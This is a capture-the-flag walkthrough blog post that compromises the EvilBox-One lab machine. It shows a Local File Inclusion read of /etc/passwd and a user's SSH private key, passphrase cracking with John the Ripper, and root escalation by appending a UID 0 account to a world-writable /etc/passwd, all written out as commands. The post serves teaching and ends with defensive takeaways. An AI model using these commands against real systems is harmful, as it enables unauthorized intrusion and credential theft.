# EvilBox-One Walkthrough

## Introduction

Welcome! I'm Koushik, a Security Engineer, and my goal with this walkthrough is to give you more than just a quick flag. I'll be demonstrating the complete methodology from enumeration to root on **EvilBox-One**, an easy-to-medium boot-to-root machine that highlights how minor web and system misconfigurations can chain together into a full system compromise.

In this write-up, we will walk step-by-step through discovering hidden web endpoints, exploiting a Local File Inclusion (LFI) vulnerability to extract an encrypted SSH private key, cracking its passphrase, and abusing a misconfigured `/etc/passwd` file for privilege escalation.

# 1\. Reconnaissance & Enumeration

## Nmap Scan Result

To gain insight into the network, start with an nmap scan to identify open ports and potential vulnerabilities.

Used

`-T4` - Accelerate scans by reducing timeouts and probe delays.

`-Pn` - Skip host discovery and treat the target as completely online.

`-vv` - Increases verbosity to level 2 (double verbosity), making Nmap print open ports and scan progress in real time rather than waiting until the entire scan finishes.

`-p-` - Scan all 65535 ports.

`-oN` - Save the scan output in normal, human-readable format to a specified file.

```bash
nmap -T4 -Pn -p- -vv 192.168.209.212 -oN nmap.txt 
```

**Output**

```bash
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
```

### Nmap deep scan for open ports

Used

`-A` - This flag in Nmap enables an aggressive scan that combines OS detection (`-O`), service version detection (`-sV`), default NSE script scanning (`-sC`), and traceroute (`--traceroute`) into a single command.

```bash
nmap -T4 -Pn -p22,80 -A -vv 192.168.209.212 -oN nmap_deep.txt 
```

**Output**

```bash
22/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsg5B3Ae75r4szTNFqG247Ea8vKjxulITlFGE9YEK4KLJA86TskXQn9E24yX4cYMoF0WDn7JD782HfHCrV74r8nU2kVTw5Y8ZRyBEqDwk6vmOzMvq1Kzrcj+i4f17saErC9YVgx5/33e7UkLXt3MYVjVPIekf/sxWxS4b6N0+J1xiISNc............
80/tcp open  http    syn-ack Apache httpd 2.4.38 ((Debian))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
<SNIP>
```

## Web Server Enumeration (Port 80)

Here is the default Apache2 Debian page with no obvious functionality.

![Pasted image 20261130192515](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/d2a2a68d-9b31-4828-8746-461c43ecbca9.png align="center")

So it is a good time to do directory busting.

### Directory Bruteforce with Feroxbuster

Used

`--url` - Sets the target base URL (short flag: -u).

`-x` - Appends specified extensions to every word in the wordlist.

```bash
feroxbuster --url http://192.168.209.212 -x php txt zip
```

![Pasted image 20261130192748](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/162373f4-0a5a-4106-92e1-f266b2116b78.png align="center")

Found two interesting endpoints: `/robots.txt` and `/secret/evil.php`.

Navigating to `/robots.txt` returns a string (Hello H4x0r), which is a dead end.

![Pasted image 20261130192623](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/cf562e8b-dc01-442c-98d5-26ab79982a6f.png align="center")

Navigating to `/secret/evil.php` loads a blank page, suggesting it may accept hidden parameters.

![Pasted image 20261130192651](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/04254ff5-d290-44de-bd9c-c8369c670cc5.png align="center")

# 2\. Initial Access

Fuzzing `/secret/evil.php` endpoint for a vulnerable GET parameter capable of **Local File Inclusion (LFI)** by testing against `/etc/passwd` file using `ffuf`.

Used

`-u` (Target URL) - Specifies the target URL and marks the injection point with the **FUZZ** keyword (?FUZZ=/etc/passwd). ffuf replaces **FUZZ** with each entry from your wordlist on every request.

`-w` (Wordlist) - Defines the path to the wordlist file.

`-ac` (Auto-Calibration) - Automatically detects and filters out repetitive baseline responses.

```bash
ffuf -u http://192.168.209.212//secret/evil.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/big.txt -ac
```

![Pasted image 20261130192821](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/64c9e61e-1e4d-4dc6-a806-38ca780f90e4.png align="center")

`ffuf` identifies the parameter **command** with a different response.

Send `command` as a parameter and `/etc/passwd` as the value to get the passwd file content and identify local users present on the victim machine.

![Pasted image 20261130192936](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/56d15e57-a293-4d55-a1f9-6293e1f442b8.png align="center")

Got two local users: `mowree` and `debian`

Now, check if mowree's private SSH key is readable via the same LFI vulnerability.

To check, send `command` as a parameter and `/home/mowree/.ssh/id_rsa` as the value, and the private key of the `mowree` user is accessible.

> **TIP** - On any other machine, if you cannot find the private SSH key `id_rsa` then try these alternatives:
>
> `id_ecdsa`
>
> `id_ecdsa_sk`
>
> `id_ed25519`
>
> `id_ed25519_sk`
>
> `id_dsa`

![Pasted image 20261130193019](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/4faadfea-064f-4e79-9680-0bee1d2b205f.png align="center")

From the header, we can see on the first line it mentioned that `Proc-Type: 4,ENCRYPTED` indicates that it is protected with a passphrase.

Copy it from **View Page Source**, then save it in a file.

> Don't forget to add a newline at the end of the last line like this (if one isn't already present).

![Pasted image 20261130193422](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/d4f39076-7f5c-4fe7-866d-8311615df45f.png align="center")

**Or**

Download it directly using `wget`

```bash
wget http://192.168.209.212/secret/evil.php?command=/home/mowree/.ssh/id_rsa -O id_rsa
```

To crack the passphrase, first convert the private key into a hash format compatible with `John the Ripper`. Use the `rockyou.txt` wordlist to crack the passphrase.

```bash
ssh2john id_rsa > key
john key --wordlist=/usr/share/wordlists/rockyou.txt
```

![Pasted image 20261130194135](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/f5d243ce-7865-4ab8-9bc2-9bc7a35982da.png align="center")

Got it. The passphrase is `unicorn`.

To SSH using our `id_rsa` private key, we have to set a restrictive file permission on `id_rsa`. Where only the file owner has **read and write** access (`rw-`).

Then log in via SSH as `mowree`.

```bash
chmod 600 id_rsa
ssh -i id_rsa mowree@192.168.209.212
```

![Pasted image 20261130194239](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/f91e2f04-a23d-427a-9d07-01dd454b3110.png align="center")

List the directory contents and read the user(local) flag.

```bash
ls -al
cat local.txt
```

![Pasted image 20261130194311](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/a83ed5de-5d38-4600-a183-1f4ebcf8cba6.png align="center")

**Got local.txt**

# 3\. Privilege Escalation

Now you can use an automated way of finding a Privilege Escalation path using scripts like [Linpeas.sh](https://github.com/peass-ng/PEASS-ng/tree/master).

Here I will go for the manual way of finding Privilege Escalation paths

To search the filesystem for world writable files to identify privilege escalation vectors run this

```bash
find / -writable -type f 2>/dev/null
```

The output reveals that `/etc/passwd` is world writable, meaning any low-privileged user on the system can modify `/etc/passwd`.

![Pasted image 20261130194551](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/feab68f0-ef72-4c74-b9c3-dd42b40dda0d.png align="center")

![Pasted image 20261130194614](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/29e89951-87a4-494d-9014-92cee7a81fb7.png align="center")

> **Why is this a critical vulnerability?** 
> This leads directly to full root privilege escalation: Even though modern Linux systems store password hashes in `/etc/shadow`, authentication utilities still accept a valid password hash placed directly in `/etc/passwd` (replacing the `x` placeholder). Because Linux identifies the `root` user by **UID** `0`, any user with write access to `/etc/passwd` can append a new UID `0` account with a known password and immediately escalate to root.

To do this, we need to make a password hash first on the victim machine using `openssl`.

### On Victim Machine

```bash
openssl passwd hello
```

You will get a hash of `hello`

Make a line exactly like the first line of `/etc/passwd`. Just replace the username and the `x` with the new value and append the new user (`root1`) with UID `0` and GID `0` to `/etc/passwd`

```bash
echo "root1:y4TJuX3NAy43.:0:0:root:/root:/bin/bash" >> /etc/passwd
```

Read the passwd file to confirm the update

![Pasted image 20261130194731](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/3ec78390-931e-4d16-a7e9-6f5c01757654.png align="center")

![Pasted image 20261130194749](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/3013d362-73f2-441e-b1fb-a2d938ee08c6.png align="center")

Then switch to the new root account

```bash
su root1
```
We get `root` access rather than `root1` because Linux grants privileges based on the UID (`0`), not the username.

![Pasted image 20261130194834](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/716d6ede-b8cd-4560-b5f8-30d0c4201400.png align="center")

Finally, read the root(proof) flag from the `/root` directory to complete the box:

```bash
cat /root/proof.txt
```

![Pasted image 20261130194904](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/6b7bc363-d30b-400e-8ede-a4a0b7bfd4c5.png align="center")

## Conclusion

The **EvilBox-One** machine demonstrates how simple misconfigurations can chain together into a complete system compromise. By enumerating hidden endpoints and fuzzing parameters, we uncovered a Local File Inclusion vulnerability in `/secret/evil.php` that exposed `mowree`'s encrypted SSH private key. Cracking its weak passphrase with `John the Ripper` granted initial access, while a world-writable `/etc/passwd` file provided a straightforward path to escalate privileges to `root`.

**Key Takeaways:**

- **Restrict File Access:** Ensure sensitive server-side scripts sanitize user-supplied input to prevent Local File Inclusion.
- **Enforce Strong Passphrases:** Protect SSH private keys with strong, non-dictionary passphrases.
- **Audit File Permissions:** Critical system files like `/etc/passwd` should strictly remain writable only by `root` (`644` permissions).

Thanks for reading and taking the time to check this out, I hope it added some value to your journey!
